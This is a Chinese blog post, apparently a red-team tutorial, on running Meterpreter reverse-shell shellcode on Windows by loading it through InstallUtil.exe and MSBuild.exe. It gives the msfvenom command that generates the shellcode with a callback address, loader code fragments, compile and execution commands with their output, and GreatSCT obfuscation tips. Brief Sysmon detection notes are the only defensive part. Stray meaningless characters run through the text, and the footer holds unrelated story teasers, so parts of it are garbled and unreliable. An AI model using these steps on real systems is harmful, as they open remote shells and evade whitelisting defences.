在Windows上執(zhí)行惡意代碼 by InstallUtil & MsBuild

InstallUtil

這里獲取cs文件 https://gist.github.com/Arno0x/efb32d9329270d72ec376c17ff64cba0

生成c#格式的shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.138.142 LPORT=4444 -f csharp > 2.cs

然后代碼合體

public class Sample:System.Configuration.Install.Installer
{
    public override void Uninstall(System.Collections.IDictionary savedState)
    {
        byte[] shellcode = 生成的shellcode

csc.exe把cs文件編譯成dll(后綴名無所謂)
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /target:library /unsafe /out:installUtil.dll C:\payload.cs

執(zhí)行InstallUtil.exe觸發(fā)會話
InstallUtil.exe /logtoconsole=false /logfile= /u installUtil.dll

注意:因為這里是32位的meterpreter醇滥,所以選擇32位的csc進(jìn)行編譯。經(jīng)測試驮俗,雖然64位csc能夠編譯肺然,但是無法運行滑进。
注意.NetFrameWork 高版本可以兼容低版本的編譯,所以選擇最為常見的2.0版進(jìn)行編譯。

C:\Windows\Microsoft.NET\Framework\v2.0.50727>csc.exe /target:library /unsafe /out:installUtil.dll C:\payload.cs
Microsoft (R) Visual C# 2005 編譯器 版本 8.00.50727.4927
用于 Microsoft (R) Windows (R) 2005 Framework 版本 2.0.50727
版權(quán)所有(C) Microsoft Corporation 2001-2005。保留所有權(quán)利颗管。


C:\Windows\Microsoft.NET\Framework\v2.0.50727>InstallUtil.exe /logtoconsole=false /logfile= /u installUtil.dll
Microsoft (R) .NET Framework 安裝實用工具版本 2.0.50727.5420
版權(quán)所有(C) Microsoft Corporation。保留所有權(quán)利滓走。

然后就僵在這里不動了垦江,除非`session -k`銷毀會話

其他
可以使用GreatSCT中的installutil/meterpreter/rev_tcp.py自動化生成混肴內(nèi)容的cs文件,不過只能用4.0的框架進(jìn)行編譯搅方。

sysmon日志

  1. 執(zhí)行csc.exe比吭,事件ID 1
  2. csc調(diào)用cvtres.exe進(jìn)行編譯,事件ID 1
  3. 編譯生成了installUtil.dll姨涡,事件ID 11
  4. 執(zhí)行InstallUtil.exe加載惡意文件衩藤,事件ID 1
  5. InstallUtil.exe發(fā)起了反彈連接,事件ID 3

MsBuild

注意: 只適用于.netframework 4.0以上版本(因為UsingTask的原因)

這里下載xml文件用于加載shellcode https://gist.github.com/ConsciousHacker/5fce0343f29085cd9fba466974e43f17

上一節(jié)msfvenom生成的cs文件可以接著用

          public override bool Execute()
          {
            byte[] shellcode = 生成的shellcode

然后msbuild.exe C:\payload.xml獲得會話

C:\Windows\Microsoft.NET\Framework\v4.0.30319>MSBuild.exe c:\payload.xml
Microsoft (R) Build Engine Version 4.0.30319.1
[Microsoft .NET Framework, Version 4.0.30319.1]
Copyright (C) Microsoft Corporation 2007. All rights reserved.

Build started 2019/2/28 17:19:45.

然后就僵在這里不動了涛漂,除非`session -k`銷毀會話

同樣也可以使用GreatSCT中的msbuild/meterpreter/rev_tcp.py自動化生成混肴后的xml文件赏表。

Use MSBuild To Do More

sysmon日志

  1. 執(zhí)行msbuild.exe
  2. 編譯生成了dll文件,C:\Users\Administrator\AppData\Local\Temp\2\yfurnxhk.dll
  3. 編譯生成了文件匈仗,C:\Users\Administrator\AppData\Local\Temp\2\yfurnxhk.cmdline
  4. csc.exe被調(diào)用執(zhí)行瓢剿,"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Administrator\AppData\Local\Temp\2\yfurnxhk.cmdline"
  5. cvtres.exe被調(diào)用執(zhí)行,C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\2\RES741.tmp" "c:\Users\Administrator\AppData\Local\Temp\2\CSC740.tmp"
  6. Msbuild.exe發(fā)起了反彈連接悠轩。

流程小結(jié)

  1. 生成原始shellcode代碼间狂。
  2. 編寫加載代碼,整合shellcode
  3. .netframework編譯成dll文件或者可執(zhí)行文件
  4. .netframework執(zhí)行惡意代碼
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末火架,一起剝皮案震驚了整個濱河市鉴象,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌距潘,老刑警劉巖炼列,帶你破解...
    沈念sama閱讀 206,482評論 6 481
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件只搁,死亡現(xiàn)場離奇詭異音比,居然都是意外死亡,警方通過查閱死者的電腦和手機氢惋,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 88,377評論 2 382
  • 文/潘曉璐 我一進(jìn)店門洞翩,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人焰望,你說我怎么就攤上這事骚亿。” “怎么了熊赖?”我有些...
    開封第一講書人閱讀 152,762評論 0 342
  • 文/不壞的土叔 我叫張陵来屠,是天一觀的道長。 經(jīng)常有香客問我,道長俱笛,這世上最難降的妖魔是什么捆姜? 我笑而不...
    開封第一講書人閱讀 55,273評論 1 279
  • 正文 為了忘掉前任,我火速辦了婚禮迎膜,結(jié)果婚禮上泥技,老公的妹妹穿的比我還像新娘。我一直安慰自己磕仅,他們只是感情好珊豹,可當(dāng)我...
    茶點故事閱讀 64,289評論 5 373
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著榕订,像睡著了一般店茶。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上卸亮,一...
    開封第一講書人閱讀 49,046評論 1 285
  • 那天忽妒,我揣著相機與錄音,去河邊找鬼兼贸。 笑死段直,一個胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的溶诞。 我是一名探鬼主播鸯檬,決...
    沈念sama閱讀 38,351評論 3 400
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼螺垢!你這毒婦竟也來了喧务?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 36,988評論 0 259
  • 序言:老撾萬榮一對情侶失蹤枉圃,失蹤者是張志新(化名)和其女友劉穎功茴,沒想到半個月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體孽亲,經(jīng)...
    沈念sama閱讀 43,476評論 1 300
  • 正文 獨居荒郊野嶺守林人離奇死亡坎穿,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 35,948評論 2 324
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發(fā)現(xiàn)自己被綠了返劲。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片玲昧。...
    茶點故事閱讀 38,064評論 1 333
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖篮绿,靈堂內(nèi)的尸體忽然破棺而出孵延,到底是詐尸還是另有隱情,我是刑警寧澤亲配,帶...
    沈念sama閱讀 33,712評論 4 323
  • 正文 年R本政府宣布尘应,位于F島的核電站惶凝,受9級特大地震影響,放射性物質(zhì)發(fā)生泄漏犬钢。R本人自食惡果不足惜梨睁,卻給世界環(huán)境...
    茶點故事閱讀 39,261評論 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望娜饵。 院中可真熱鬧坡贺,春花似錦、人聲如沸箱舞。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,264評論 0 19
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽晴股。三九已至愿伴,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間电湘,已是汗流浹背隔节。 一陣腳步聲響...
    開封第一講書人閱讀 31,486評論 1 262
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留寂呛,地道東北人怎诫。 一個月前我還...
    沈念sama閱讀 45,511評論 2 354
  • 正文 我出身青樓,卻偏偏與公主長得像贷痪,于是被迫代替她去往敵國和親幻妓。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點故事閱讀 42,802評論 2 345